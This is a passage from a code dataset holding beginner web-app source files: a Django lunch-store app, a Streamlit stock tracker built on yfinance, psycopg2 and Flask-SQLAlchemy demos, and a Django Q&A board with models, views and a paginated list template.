"d4c720e8900de8b1a23f0995ea16f7a2fe00f65f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 699, "license_type": "no_license", "max_line_length": 63, "num_lines": 28, "path": "/mysite/migrations/0002_auto_20210727_0113.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.4 on 2021-07-26 17:13\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('mysite', '0001_initial'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='store',\n name='store_create_date',\n ),\n migrations.AddField(\n model_name='dishes',\n name='dishes_remake',\n field=models.CharField(default=123, max_length=10),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='store',\n name='store_remake',\n field=models.CharField(max_length=20),\n ),\n ]\n" }, { "alpha_fraction": 0.6964539289474487, "alphanum_fraction": 0.714893639087677, "avg_line_length": 40.47058868408203, "blob_id": "813236ecd5aa0aea81aa89db58154dc121b9e9de", "content_id": "a7289e3429c5eeeaa87693ac8eeab0466d56b56a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 705, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/mysite/models.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "from django.db import models\nimport django.utils.timezone as timezone\nclass Store(models.Model):\n store_name = models.CharField(max_length=100)\n store_number = models.CharField(max_length=20)\n # store_create_date = models.DateField(default=timezone.now)\n store_remake = models.CharField(max_length=20)\n def __str__(self):\n return str(self.store_name)\nclass dishes(models.Model):\n store = models.ForeignKey(Store, on_delete=models.CASCADE)\n dishes_name = models.CharField(max_length=50)\n dishes_price = models.FloatField(max_length=20)\n dishes_remake = models.CharField(max_length=10)\n def __str__(self):\n return str(self.dishes_name)\n# Create your models here.\n" }, { "alpha_fraction": 0.6458132863044739, "alphanum_fraction": 0.6487006545066833, "avg_line_length": 27.08108139038086, "blob_id": "c54e9713a1fdf59b63bdc672dbc43f0d01df318d", "content_id": "be30ec61fcdefdea4b94dc97757fad3c3d619ad9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2146, "license_type": "no_license", "max_line_length": 101, "num_lines": 74, "path": "/mysite/views.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .forms import RegisterForm, LoginForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import store_form\nfrom .models import Store, dishes\n\n\n# Create your views here.\ndef index(request):\n return render(request, 'index.html')\n\n\ndef sign_up(request):\n form = RegisterForm()\n if request.method == \"POST\":\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('/login') # 重新導向到登入畫面\n context = {\n 'form': form\n }\n return render(request, 'register.html', context)\n\n\ndef sign_in(request):\n form = LoginForm()\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('/') # 重新導向到首頁\n context = {\n 'form': form\n }\n return render(request, 'login.html', context)\n\n\ndef log_out(request):\n logout(request)\n return redirect('/login') # 重新導向到登入畫面\n\n\n@login_required(login_url=\"Login\")\ndef main(request):\n user_email = request.user.email\n user_name = request.user.username\n print(user_name, user_email)\n return render(request, 'base.html')\n\n\n# https://www.learncodewithmike.com/2020/04/django-authentication-and-usercreationform.html 建立使用者以及註冊\n\n@login_required(login_url=\"Login\")\ndef show_store(request):\n store = Store.objects.all()\n form = store_form()\n if request.method == \"POST\":\n form = store_form(request.POST)\n context = {\"form\": form}\n # print(context)\n if form.is_valid():\n form.save()\n return redirect(\"/\")\n context = {\n \"store\": store,\n \"from\": form\n }\n return render(request, 'store.html', context)\n" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.646037757396698, "avg_line_length": 41.74193572998047, "blob_id": "921e444761ae6afa9cc4456dd561436f5069ee2b", "content_id": "0a23000a997214b55af0a48a7ebd2bf4d387f384", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1325, "license_type": "no_license", "max_line_length": 79, "num_lines": 31, "path": "/django_lunch/urls.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "\"\"\"django_lunch URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nimport mysite.views as views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.urls import include\n\nurlpatterns = [\n path('admin', admin.site.urls),\n path(\"main\", views.main),\n path('', views.index),\n path('register', views.sign_up, name='Register'),\n path('login', views.sign_in, name='Login'),\n path('logout', views.log_out, name='Logout'),\n path('store', views.show_store, name=\"store\")\n ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n" } ]
6
pskrillz/python_backend_demos
https://github.com/pskrillz/python_backend_demos
a0d04d82783563472f2bf8eb0aaa381dc89dec46
e61a75dd0d23b2a6101fd7cd50c1a5a6de98ec0d
8ac139ecad36992c122209ca675541473d172f89
refs/heads/master
2023-06-14T11:47:40.926002
2021-07-13T10:31:50
2021-07-13T10:31:50
383,426,888
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.730134904384613, "alphanum_fraction": 0.7308845520019531, "avg_line_length": 29.340909957885742, "blob_id": "acb3ea73d9a25a147f08221f4ff16952be4338d3", "content_id": "d92bb2922b29febefcc231e8bd4e09067c973b01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1334, "license_type": "no_license", "max_line_length": 95, "num_lines": 44, "path": "/demo2_flask_hello_name.py", "repo_name": "pskrillz/python_backend_demos", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport os\nfrom dotenv import load_dotenv\n\n\n\n# creating a simple flask application that uses data from the db\n\n\napp = Flask(__name__)\n\n#env variable doesnt like to work with python interactive terminal\napp.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('CONNECTION_STRING')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# links an instance of the database with the flask application\ndb = SQLAlchemy(app)\n\n\n# creating a datamodel (a table) using sqlalchemy ORM\n# \"By inheriting from db.Model, we map from our classes to tables via SQLAlchemy ORM\"\nclass Person(db.Model):\n\n #by default it is named lowercase class name but can customize this with:\n __tablename__ = 'people'\n id = db.Column(db.Integer, primary_key=True)\n name= db.Column(db.String(), nullable=False)\n\n def __repr__(self):\n return f'<Person ID: {self.id}, name: {self.name}>'\n\n#searches for all classes inheriting db.Model and creates table if not yet created\ndb.create_all()\n\[email protected]('/')\ndef index():\n # sets maps person var as the first row and then returns string 'Hello [name column value]'\n person = Person.query.first()\n return 'Hello ' + person.name\n\n# run using FLASK_APP=demo2_flask_hello_name FLASK_DEBUG=true flask run\n# debug addition allows live reload" }, { "alpha_fraction": 0.6225402355194092, "alphanum_fraction": 0.6350626349449158, "avg_line_length": 21.836734771728516, "blob_id": "7b53b4548bdd83d9906ab1488808b24eb3952769", "content_id": "4251ff4785337de597792d351a80295a33c49dfc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1118, "license_type": "no_license", "max_line_length": 107, "num_lines": 49, "path": "/demo1-psycopg2-connect.py", "repo_name": "pskrillz/python_backend_demos", "src_encoding": "UTF-8", "text": "import psycopg2\nimport environ\nimport os\nfrom dotenv import load_dotenv\n\n\n# This demo shows connecting psycopg2 database adapter for Python to connect and run queries to PostgreSQL \n# Also the use of dotenv to hide passwords from VCS\n\nload_dotenv()\n\n\n# env = environ.Env()\n\n\n# environ.Env.read_env()\n# using psycopg2 as the db driver and the sqlalchemy for the orm\n\nconnection = psycopg2.connect(user=\"postgres\",\n password=os.getenv('DATABASE_PASS'),\n host=\"localhost\",\n port=\"5432\",\n database=\"postgres\")\n\ncursor = connection.cursor()\n\ncursor.execute('DROP TABLE IF EXISTS table2;')\n\ncursor.execute('''\n CREATE TABLE table2 (\n id INTEGER PRIMARY KEY,\n completed BOOLEAN NOT NULL DEFAULT False\n );\n''')\n\ncursor.execute('INSERT INTO table2 (id, completed) VALUES (%s, %s);', (1, True))\n\nSQL = 'INSERT INTO table2 (id, completed) VALUES (%(id)s, %(completed)s);'\n\ndata = {\n 'id': 2,\n 'completed': False\n}\ncursor.execute(SQL, data)\n\nconnection.commit()\n\nconnection.close()\ncursor.close()" } ]
2
movingheart/django_scoops
https://github.com/movingheart/django_scoops
b7d6c0ce92ec2c8b81a0a648a5be43074c1da55c
e2f3e384b810dc920538cb655977033c69e59568
d757491f8726bc89c46d69b80747afdcfc08d9ce
refs/heads/master
2021-01-10T06:10:52.908447
2016-03-07T06:42:09
2016-03-07T06:42:09
53,301,880
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6388888955116272, "alphanum_fraction": 0.6388888955116272, "avg_line_length": 25.875, "blob_id": "da494c4990e1ba5ea8b0e93390327c793ec0bd4e", "content_id": "ace1f73d8632e20217f61dd8b9c55c30cff7abaf", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "permissive", "max_line_length": 67, "num_lines": 8, "path": "/django_scoops/scoops/urls.py", "repo_name": "movingheart/django_scoops", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nimport views\n\nurlpatterns = [\n url(r'^current_date/$',views.current_date,name='current_date'),\n url(r'^hours_ahead/$',views.hours_ahead,name='hours_ahead'),\n \n ]\n\n" }, { "alpha_fraction": 0.8529411554336548, "alphanum_fraction": 0.8529411554336548, "avg_line_length": 16, "blob_id": "3138462a0eef75f7b839176df5a890a526a2a12f", "content_id": "c21e5dae85aaf25b2478b13c117e1ba32218902f", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 56, "license_type": "permissive", "max_line_length": 17, "num_lines": 2, "path": "/README.md", "repo_name": "movingheart/django_scoops", "src_encoding": "UTF-8", "text": "# django_scoops\n演示django模板继承的基本用法\n" }, { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7137255072593689, "avg_line_length": 41.5, "blob_id": "7a7456a8ff9f5e069e9db1660652a7dc8b96c59b", "content_id": "35c63c8bca473794a27cd4ae092c70fce7f1ca5f", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 510, "license_type": "permissive", "max_line_length": 83, "num_lines": 12, "path": "/django_scoops/scoops/views.py", "repo_name": "movingheart/django_scoops", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nimport time,datetime\n\ndef current_date(request):\n current_date = time.strftime(\"%Y-%m-%d %X\",time.localtime()) \n return render(request,'scoops/current_date.html',{'current_date':current_date})\n\ndef hours_ahead(request):\n date_delta = datetime.datetime.now()+datetime.timedelta(hours=24)\n delta = datetime.datetime.strftime(date_delta,\"%Y-%m-%d %X\")\n context = {'hour_offset':24,'next_time':delta}\n return render(request,'scoops/hours_ahead.html',context)\n" } ]
3
branavann/Stock-Tracker
https://github.com/branavann/Stock-Tracker
7b6997acc84e5fb0b8a270f213f8c164ec825884
034e4fcce9ad9db7b953cbae505931d33b8a633c
bbf60353f79e102f2c02c256251c601038c392ce
refs/heads/main
2023-02-15T05:27:35.496178
2021-01-12T01:40:09
2021-01-12T01:40:09
328,291,529
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6939915418624878, "alphanum_fraction": 0.7011391520500183, "avg_line_length": 31.671533584594727, "blob_id": "b2a8ebccdca2bc5d59c59782e5c1e645f95d64e9", "content_id": "7eb21ba8a84dd70a2c29a6493ca7f4f9509e4a3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4477, "license_type": "no_license", "max_line_length": 110, "num_lines": 137, "path": "/stocks.py", "repo_name": "branavann/Stock-Tracker", "src_encoding": "UTF-8", "text": "import yfinance as yf\nimport streamlit as st\nimport pandas as pd\nfrom datetime import timedelta\nimport datetime\nimport plotly.graph_objects as go \nimport plotly.figure_factory as ff\n\nst.write(\"\"\"\n# Stock Tracker\n\"\"\")\n\nst.markdown('''\n* **Python libraries:** yfinance, pandas, streamlit, plotly\n* **Data souce:** [Yahoo Finance](https://ca.finance.yahoo.com/)\n''')\n\n# Date information\ntoday = datetime.date.today()\nyesterday = today - timedelta(days=3)\n\n# Ticker input \nst.subheader('Please your favourite tickers')\nuser_input = st.text_area('Tickers', height = 10, value = 'TSLA')\n\n\nticker_symbols = user_input.upper()\nticker_symbols = ticker_symbols.replace(\",\",\" \")\nticker_symbols = ticker_symbols.split()\n\n# Drop down menu for tickers\nticker_symbol = st.selectbox('Stock to Display', [i for i in ticker_symbols])\n\n\n# Header for the side bar\nst.sidebar.header('Filters')\n\n# Ticker information\ntickerData = yf.Ticker(ticker_symbol)\norigin = tickerData.history(period = 'max')\norigin_listing = origin.index[0]\nbuy = st.sidebar.date_input('Purchase Date', min_value = origin_listing, max_value = today, value = yesterday)\ntickerDf = tickerData.history(period = '1d', start = buy, end = today)\n\n# Purchase day's range\npurchase_information = tickerDf.loc[tickerDf.index == str(buy)]\nst.sidebar.write(' ** Purchase Day\\'s Low:**', purchase_information.Low[0])\nst.sidebar.write(' ** Purchase Day\\'s High:**', purchase_information.High[0])\n\n\n# Purchase price slider\nindividual_current = round(tickerDf.Close.iloc[-1],2)\nprice_df = tickerData.history(period = '1d', start = buy , end = today)\nmaximum = round(origin.High.max(),2)\nminimum = round(origin.Low.min(),2)\nindividual_purchase = st.sidebar.slider('Select Purchase Price', float(minimum) , maximum)\nquantity = st.sidebar.selectbox('Number of Shares', list(range(0,100)))\n\n# Stock price information\ntotal_purchase = round(individual_purchase * int(quantity),2)\ntotal_current = round(tickerDf.Close.iloc[-1] * int(quantity),2)\n\n# Providing information regarding stock performance \nst.write(\"Purchase Price:\",individual_purchase)\nst.write(\"Current Price:\",individual_current)\n\n# Function to calculate returns over time \ndef investment_return(current, purchase):\n percent_return = round((current - purchase)/purchase * 100, 2)\n dollar_return = round(current - purchase,2)\n if current > purchase:\n st.write('Percentage Gain:', percent_return, '%')\n else:\n st.write('Percentage Loss:', percent_return, '%')\n st.write('Dollar Return: $', dollar_return)\n\ninvestment_return(total_current,total_purchase)\n\n# Plotting line graph of closing price\nst.write('''### **Closing Price**''')\nst.line_chart(tickerDf.Close)\n\n# Plotting line graph of trading volume\nst.write('''### **Trading Volume**''')\nst.line_chart(tickerDf.Volume)\n\n# Plotting candle stick charts\nst.write('''### **Candle Stick Chart**''')\n\n# Formatting our data for the candle stick\ncandle_df = tickerDf.reset_index()\nfor i in ['Open', 'High', 'Close', 'Low']:\n candle_df[i] = candle_df[i].astype('float64')\n\n# Plotting our candle stick chart\ncandle = go.Figure(data = [go.Candlestick( x = candle_df['Date'], \nopen = candle_df['Open'],\nhigh = candle_df['High'],\nlow = candle_df['Low'],\nclose = candle_df['Close'])])\n\ncandle.update_layout(\n xaxis_title=\"Date\",\n yaxis_title=\"Price ($)\"\n )\n\nst.plotly_chart(candle, use_container_width = True)\n\n# Plotting line graph of dividends\nst.write('''### **Dividends**''')\nst.line_chart(tickerDf.Dividends)\n\n# Displaying analysts' ratings \nst.write(''' ### **Analyst Ratings** ''')\nst.write(tickerData.get_recommendations(proxy=None, as_dict=False)[::-1])\n\n# Upcoming earnings calls\nst.write(''' ### **Upcoming Dates** ''')\nst.write(tickerData.calendar.transpose())\n\n# Displaying next five option contracts\nst.write('''### **Options**''')\n\n# Filters for contracts\ncontract_type = st.selectbox('Contract Type', ['Call', 'Put'])\ncontract_filter = [0 if contract_type == 'Call' else 1][0]\nexpiration = st.selectbox('Expiration Date', list(i for i in tickerData.options))\nin_the_money = st.selectbox( 'Filter ', ['In the Money', 'Out the Money'])\nitm_filter = [True if in_the_money == 'In the Money' else False][0]\n\n# Displaying options \nif st.button('Display'):\n df = tickerData.option_chain(expiration)[contract_filter]\n filters = (df['inTheMoney'] == itm_filter)\n df = df.loc[filters]\n df.drop(['inTheMoney', 'contractSize', 'currency'], axis = 1, inplace = True)\n st.dataframe(df)\n\n" }, { "alpha_fraction": 0.43939393758773804, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 15.5, "blob_id": "76d80305f3ea50ff5f2592b2b46dcb251a343f93", "content_id": "6321997bb9576f78015f5c034485db6e1aa1a60f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 66, "license_type": "no_license", "max_line_length": 18, "num_lines": 4, "path": "/requirement.txt", "repo_name": "branavann/Stock-Tracker", "src_encoding": "UTF-8", "text": "yfinance==0.1.55 \nstreamlit==0.74.1\npandas==1.1.5\nplotly==4.14.1\n" }, { "alpha_fraction": 0.8091602921485901, "alphanum_fraction": 0.8091602921485901, "avg_line_length": 60.06666564941406, "blob_id": "e8758b5c67680a0734af2c4cad7bd2574c2427d0", "content_id": "8303f8d831c87430626a341ba8b1304f557d2b36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 917, "license_type": "no_license", "max_line_length": 380, "num_lines": 15, "path": "/README.md", "repo_name": "branavann/Stock-Tracker", "src_encoding": "UTF-8", "text": "# Stock-Tracker\n\n## Project Goal\n\nThis project deploys a series of python packages to provide stock-related information to users. The intention behind this project was to create a web-facing application using streamlit. The interface is intended to provide quick and accessible information to user. The project was built primarily around my financial needs (e.g. accessing basic information pertaining to a stock).\n\nThis project require numerous attempts to troubleshoot and accurately display information. The ability to display options-related information was a massive incentive for this project. This required hours to explore the yfinance package to gain a comprehensive understanding and employ it in an effective manner. \n\nThis is the first of many finance-related package. Please feel free to provide any feedback. I'm open to any and all suggestions.\n\n**Packages**:\n- yfinance\n- streamlit\n- pandas\n- plotly\n\n" } ]
3
odongs/dong
https://github.com/odongs/dong
d6afad4e7fe58d8e1e71cd265a280b5228643320
17ae5f8eafefe13939d8bc2a6573a99312256b9c
0bcb70eceea00ed1ed3627eee0be0b72e3112dd8
refs/heads/master
2023-03-19T11:46:35.394134
2021-03-16T06:40:48
2021-03-16T06:40:48
328,822,109
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5682730674743652, "alphanum_fraction": 0.6305220723152161, "avg_line_length": 23.899999618530273, "blob_id": "3059a2fbb81b2ed2d84bfc9e1ee84848329ecbe0", "content_id": "51e1414747001d1c15494c3e5701c0b293b8aac8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 498, "license_type": "no_license", "max_line_length": 70, "num_lines": 20, "path": "/seok/migrations/0007_answer_hit.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-01-13 09:46\n\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('seok', '0006_auto_20210113_1806'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='answer',\n name='hit',\n field=models.ManyToManyField(to=settings.AUTH_USER_MODEL),\n ),\n ]\n" }, { "alpha_fraction": 0.7152281403541565, "alphanum_fraction": 0.7168774008750916, "avg_line_length": 46.894737243652344, "blob_id": "12577f2b8603cc55b724d306ba865358bdfcae8e", "content_id": "0358d16c032ca4ba3036368ad303725414e4915a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2165, "license_type": "no_license", "max_line_length": 128, "num_lines": 38, "path": "/seok/models.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "from django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\nclass Question(models.Model):\n author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='author_question')\n # 특정 사용자가 작성한 질문을 얻기 위해 some_user.author_question.all() 같은 코드를 사용할 수 있음\n # 특정 사용자가 추천한 질문을 얻기 위한 코드 some_user.voter_question.all()\n\n subject = models.CharField(max_length=200)\n content = models.TextField()\n create_date = models.DateTimeField()\n modify_date = models.DateTimeField(null=True, blank=True) # null=True, blank=True 는 어떤 조건으로든 값을 비워둘수있음을 의미\n\n hit = models.ManyToManyField(User, related_name='hit_question') # 조회수 hit 필드 추가\n\n voter = models.ManyToManyField(User, related_name='voter_question') # 추천인 voter 필드 추가\n\n def __str__(self): # 해당 메서드를 통해 해당 오브젝트가 아닌 제목으로 표시됨\n return self.subject\n\n\nclass Answer(models.Model):\n author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='author_answer')\n question = models.ForeignKey(Question, on_delete=models.CASCADE) # ** on_delete... Question의 상속을 받아 생성되므로 부모 삭제시 같이 삭제되도록 처리\n content = models.TextField()\n create_date = models.DateTimeField()\n modify_date = models.DateTimeField(null=True, blank=True)\n voter = models.ManyToManyField(User, related_name='voter_answer') # 추천인 voter 필드 추가\n\n\nclass Comment(models.Model):\n author = models.ForeignKey(User, on_delete=models.CASCADE) # 댓글 글쓴이\n content = models.TextField() # 댓글 내용\n create_date = models.DateTimeField() # 댓글 생성시간\n modify_date = models.DateTimeField(null=True, blank=True) # 댓글 수정시간\n question = models.ForeignKey(Question, null=True, blank=True, on_delete=models.CASCADE) # 해당 댓글이 달린 질문\n answer = models.ForeignKey(Answer, null=True, blank=True, on_delete=models.CASCADE) # 해당 댓글이 달린 답변" }, { "alpha_fraction": 0.7349397540092468, "alphanum_fraction": 0.7349397540092468, "avg_line_length": 15.600000381469727, "blob_id": "d4b08eac52ecff5d7a2bc0e7b95ab5620ab26d42", "content_id": "271bf2db2ec4a995be7b98406ac2975ae9f1a3eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 83, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/seok/apps.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass SeokConfig(AppConfig):\n name = 'seok'\n" }, { "alpha_fraction": 0.636734664440155, "alphanum_fraction": 0.6489796042442322, "avg_line_length": 21.363636016845703, "blob_id": "b3b9d23ae45f0c362294238908f67fb702c02bcb", "content_id": "1ca4f804515ef847a7a065183f0b2934dea0638d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 245, "license_type": "no_license", "max_line_length": 53, "num_lines": 11, "path": "/data/urls.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'data'\n\nurlpatterns = [\n path('django/', views.data1, name='data/django'),\n path('lotto/', views.data2, name='data/lotto'),\n path('study/', views.data3, name='data/study'),\n]" }, { "alpha_fraction": 0.7063711881637573, "alphanum_fraction": 0.7202215790748596, "avg_line_length": 23.133333206176758, "blob_id": "0f607b5c3e7074ce4e3c376b8818e85ff3c4ed82", "content_id": "b7998a08c0dbb1edee0bb6df205ae86ecc7033a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 361, "license_type": "no_license", "max_line_length": 57, "num_lines": 15, "path": "/data/views.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\n\n# Create your views here.\n\napp_name = 'data'\n\ndef data1(request):\n return render(request, 'data/django_study.html', {})\n\ndef data2(request):\n return render(request, 'data/lotto.html', {})\n\ndef data3(request):\n return render(request, 'data/study02.html', {})" }, { "alpha_fraction": 0.46653345227241516, "alphanum_fraction": 0.47036296129226685, "avg_line_length": 37.50640869140625, "blob_id": "b04313764d5b2ba73348ca954ceab3990041bed9", "content_id": "43f6226bc379ffbbb85933bda7358c1f8cf16949", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 6534, "license_type": "no_license", "max_line_length": 108, "num_lines": 156, "path": "/templates/seok/question_list.html", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n\n{% load seok_filter %}\n\n{% block content %}\n<div class=\"container my-4\">\n <div class=\"row justify-content-between my-3\">\n <!-- 정렬 Start -->\n <div class=\"col-2\">\n <select class=\"form-control so\">\n <option value=\"recent\" {% if so == 'recent' %}selected{% endif %}>최신순</option>\n <option value=\"recommend\" {% if so == 'recommend' %}selected{% endif %}>추천순</option>\n <option value=\"popular\" {% if so == 'popular' %}selected{% endif %}>인기순</option>\n <option value=\"comm\" {% if so == 'comm' %}selected{% endif %}>댓글순</option>\n </select>\n </div>\n <!-- 정렬 End -->\n <!-- 검색 창 Start -->\n <div class=\"col-4 input-group\">\n <select class=\"form-control sh\">\n <option value=\"ac\" {% if sh == 'ac' %}selected{% endif %}>전체</option>\n <option value=\"sj\" {% if sh == 'sj' %}selected{% endif %}>제목</option>\n <option value=\"ct\" {% if sh == 'ct' %}selected{% endif %}>내용</option>\n <option value=\"at\" {% if sh == 'at' %}selected{% endif %}>글쓴이</option>\n <option value=\"aw\" {% if sh == 'aw' %}selected{% endif %}>댓글</option>\n </select>\n <input type=\"text\" class=\"form-control kw\" value=\"{{ kw|default_if_none:'' }}\">\n <div class=\"input-group-append\">\n <button class=\"btn btn-outline-secondary\" type=\"button\" id=\"btn_search\">찾기</button>\n </div>\n </div>\n <!-- 검색 창 End -->\n </div>\n <table class=\"table\">\n <thead>\n <tr class=\"text-center thead-dark\">\n <th>번호</th>\n <th>추천</th>\n <th style=\"width:50%\">제목</th>\n <th>글쓴이</th>\n <th>조회수</th>\n <th>작성일시</th>\n </tr>\n </thead>\n <tbody>\n {% if question_list %}\n {% for question in question_list %}\n <tr class=\"text-center\">\n <td> <!-- 글번호 = 전체게시글 수 - 시작인덱스 - 현재인덱스 + 1 -->\n {{ question_list.paginator.count|sub:question_list.start_index|sub:forloop.counter0|add:1 }}\n </td>\n <td>\n {% if question.voter.all.count > 0 %}\n <span class=\"badge badge-warning px-2 py-1\">{{ question.voter.all.count }}</span>\n {% endif %}\n </td>\n <td class=\"text-left\"> <!-- 제목 -->\n <a href=\"{% url 'seok:detail' question.id %}\">{{ question.subject }}</a>\n {% if question.answer_set.count > 0 %}\n <span class=\"text-danger small ml-2\">{{ question.answer_set.count }}</span>\n {% endif %}\n </td>\n <td> <!-- 글쓴이 -->\n {{ question.author.username }}\n </td>\n <td> <!-- 조회수 -->\n {{ question.hit.count }}\n </td>\n <td> <!-- 작성일시 -->\n {{ question.create_date }}\n </td>\n </tr>\n {% endfor %}\n {% else %}\n <tr>\n <td colspan=\"3\">질문이 없습니다.</td>\n </tr>\n {% endif %}\n </tbody>\n </table>\n <!-- 페이징처리 시작 -->\n <ul class=\"pagination justify-content-center\">\n <!-- 이전페이지 -->\n {% if question_list.has_previous %}\n <li class=\"page-item\">\n <a class=\"page-link\" data-page=\"{{ question_list.previous_page_number }}\" href=\"#\">이전</a>\n </li>\n {% else %}\n <li class=\"page-item disabled\">\n <a class=\"page-link\" tabindex=\"-1\" aria-disabled=\"true\" href=\"#\">이전</a>\n </li>\n {% endif %}\n <!-- 페이지리스트 -->\n {% for page_number in question_list.paginator.page_range %}\n {% if page_number >= question_list.number|add:-2 and page_number <= question_list.number|add:2 %}\n {% if page_number == question_list.number %}\n <li class=\"page-item active\" aria-current=\"page\">\n <a class=\"page-link\" data-page=\"{{ page_number }}\" href=\"#\">{{ page_number }}</a>\n </li>\n {% else %}\n <li class=\"page-item\">\n <a class=\"page-link\" data-page=\"{{ page_number }}\" href=\"#\">{{ page_number }}</a>\n </li>\n {% endif %}\n {% endif %}\n {% endfor %}\n <!-- 다음페이지 -->\n {% if question_list.has_next %}\n <li class=\"page-item\">\n <a class=\"page-link\" data-page=\"{{ question_list.next_page_number }}\" href=\"#\">다음</a>\n </li>\n {% else %}\n <li class=\"page-item disabled\">\n <a class=\"page-link\" tabindex=\"-1\" aria-disabled=\"true\" href=\"#\">다음</a>\n </li>\n {% endif %}\n </ul>\n <!-- 페이징처리 끝 -->\n <a href=\"{% url 'seok:question_create' %}\" class=\"btn btn-primary\">질문 등록하기</a>\n</div>\n<form id=\"searchForm\" method=\"get\" action=\"{% url 'index' %}\">\n <input type=\"hidden\" id=\"kw\" name=\"kw\" value=\"{{ kw|default_if_none:'' }}\">\n <input type=\"hidden\" id=\"page\" name=\"page\" value=\"{{ page }}\">\n <input type=\"hidden\" id=\"so\" name=\"so\" value=\"{{ so }}\">\n <input type=\"hidden\" id=\"sh\" name=\"sh\" value=\"{{ sh }}\">\n</form>\n{% endblock %}\n{% block script %}\n<script type='text/javascript'>\n$(document).ready(function(){\n $(\".page-link\").on('click', function() {\n $(\"#page\").val($(this).data(\"page\"));\n $(\"#searchForm\").submit();\n });\n\n $(\"#btn_search\").on('click', function() {\n $(\"#kw\").val($(\".kw\").val());\n $(\"#page\").val(1); // 검색버튼을 클릭할 경우 1페이지부터 조회한다.\n $(\"#sh\").val($(\".sh\").val());\n $(\"#searchForm\").submit();\n });\n\n $(\".so\").on('change', function() {\n $(\"#so\").val($(this).val());\n $(\"#page\").val(1);\n $(\"#searchForm\").submit();\n });\n});\n</script>\n{% endblock %}\n<!--\n class 속성이 \"page-link\"인 링크를 누르면 이 링크의 data-page 속성값을 읽어\n searchForm의 page 필드에 그 값을 설정하여 